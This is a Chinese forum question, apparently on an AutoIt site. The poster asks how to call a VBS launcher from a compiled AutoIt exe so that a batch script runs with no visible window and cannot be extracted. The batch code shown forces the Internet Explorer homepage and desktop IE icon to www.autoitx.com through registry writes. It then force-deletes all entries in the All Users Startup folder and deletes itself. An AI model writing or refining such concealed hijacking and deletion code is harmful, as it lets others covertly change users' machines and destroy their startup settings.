没看明白,可以举个例子吗?谢谢
我以前做了一个批处理,然后在做成自解压程序运行,别人可以解压,如果用au3调用批处理,编译成exe,别人就无法解压了,我是这个意思。
我现在用vbs 调用批处理运行就不会DOS黑框,但是如何有AU3调用vbs,谢谢!这里是vbs代码DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C c:\windows\主页修改.cmd", 0, TRUE)
这里是cmd代码!@echo off
reg add "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /t "reg_sz" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.autoitx.com" /f
reg add "HKEY_USERS\S-1-5-21-1960408961-602162358-725345543-500\Software\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /t "reg_sz" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.autoitx.com" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /t "reg_sz" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.autoitx.com" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t "reg_sz" /d "www.autoitx.com" /f
del "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\*.*" /q /f
del %0
|